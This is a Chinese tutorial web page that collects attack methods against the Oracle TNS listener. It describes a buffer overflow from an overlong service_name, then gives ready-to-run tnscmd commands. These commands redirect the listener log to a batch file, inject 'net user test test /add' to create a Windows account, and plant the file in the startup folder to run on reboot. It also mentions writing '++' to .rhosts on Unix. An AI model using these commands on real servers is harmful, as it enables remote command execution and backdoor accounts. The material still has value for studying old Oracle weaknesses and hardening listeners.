网络编程 | 站长之家 | 网页制作 | 图形图象 | 操作系统 | 冲浪宝典 | 软件教学 | 网络办公 | 邮件系统 | 网络安全 | 认证考试 | 系统进程
Firefox | IE | Maxthon | 迅雷 | 电驴 | BitComet | FlashGet | QQ | QQ空间 | Vista | 输入法 | Ghost | Word | Excel | wps | Powerpoint
asp | .net | php | jsp | Sql | c# | Ajax | xml | Dreamweaver | FrontPages | Javascript | css | photoshop | fireworks | Flash | Cad | Discuz!
当前位置 > 网站建设学院 > 网络编程 > 数据库 > Oracle教程
Tag:注入,存储过程,分页,安全,优化,xmlhttp,fso,jmail,application,session,防盗链,stream,无组件,组件,md5,乱码,缓存,加密,验证码,算法,cookies,ubb,正则表达式,水印,索引,日志,压缩,base64,url重写,上传,控件,Web.config,JDBC,函数,内存,PDF,迁移,结构,破解,编译,配置,进程,分词,IIS,Apache,Tomcat,phpmyadmin,Gzip,触发器,socket
数据库:数据库教程,数据库技巧,Oracle教程,MySQL教程,Sybase教程,Access教程,DB2教程,数据库安全,数据库文摘
本月文章推荐
.Oracle一些常用的SQL.
.Oracle基本知识.
.Oracle-如何获得数据库的DBID.
.获得Export/Import的trace文件.
.正規表示法.
.oracle 的共享连接和专用连接方式.
.Linux在嵌入式系统中的应用.
.9i下参数的变化.
.Oracle远程复制和异地容灾方案分.
.用RMAN进行Oracle自动备份.
.一个oracle调优的好玩经历.
.ORACLE问题,每天10问(七).
.Oracle & Linux--完美的组合.
.关于db_name、instance_name、OR.
.oracle怎样按物理顺序提取记录?.
.讲解Oracle优化器的优化方式和优.
.Oracle的X$表系列介绍之-X$KSLLC.
.利用Oracle数据库的JobQueue实现.
.10gRAC系列之cluvfy用法及验证错.
.利用多个转储文件导出大量Oracle.

针对Oracle的TNS listener攻击方法整理

发表日期:2008-8-8


首先,根据版本的不同,TNS listener可能较易受到多种类型的缓冲区溢出攻击,这些攻击可以在不提供用户ID和口令的情况下被利用。例如:在oracle 9i中,当客户机请求某个过长的service_name时,很容易受到溢出攻击。当listener为日志构建错误消息之后,service_name的值会被复制到某于栈结构的缓冲区内,从而引起溢出—覆盖保存值将返回栈中的地址。这种做法可以使攻击者获得控制权。事实上,TNS listener曾经有过多次溢出和格式化字符串的漏洞。

其次,另一类攻击和日志文件有关。只有当未给listener设置口令的时候,攻击才会有效。

假设某个listener没有设置口令,攻击方法如下:

tnscmd -h www.example.com -p 1521 –rawcmd “(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_directory)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=1)(VALUE=c:\\)))” 将日志目录设置到C盘

tnscmd -h www.example.com -p 1521 –rawcmd “(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=1)(VALUE=test.bat)))” 将日志文件设置为test.bat


tnscmd -h www.example.com –rawcmd “(CONNECT_DATA=(( ||dir >test.txt||net user test test /add))”该命令把

dir >test.txt、net user test test /add命令写入c:\test.bat文件,由于双竖线的作用(第一条命令执行失败后,WINDOWS命令解释器执行后面的命令)把错误的信息注释掉, 从而可以执行我们提交的命令。

通过设置日志文件到不同的目录,例如WINDOWS的启动目录,当服务器重启将执行恶意用户提交的特定代码,从而对系统造成威胁。


运行于UNIX系统上的oracle也会受到同样的威胁。其中一种方法就是将“++”回送给.rhost文件,当系统运行时,使用r*services命令。

上一篇:个人经验总结:在Oracle中恢复被DROP掉的表 人气:1099
下一篇:Oracle listener静态注册和动态注册总结 人气:732
浏览全部Oracle的内容 Dreamweaver插件下载 网页广告代码 祝你圣诞节快乐 2009年新年快乐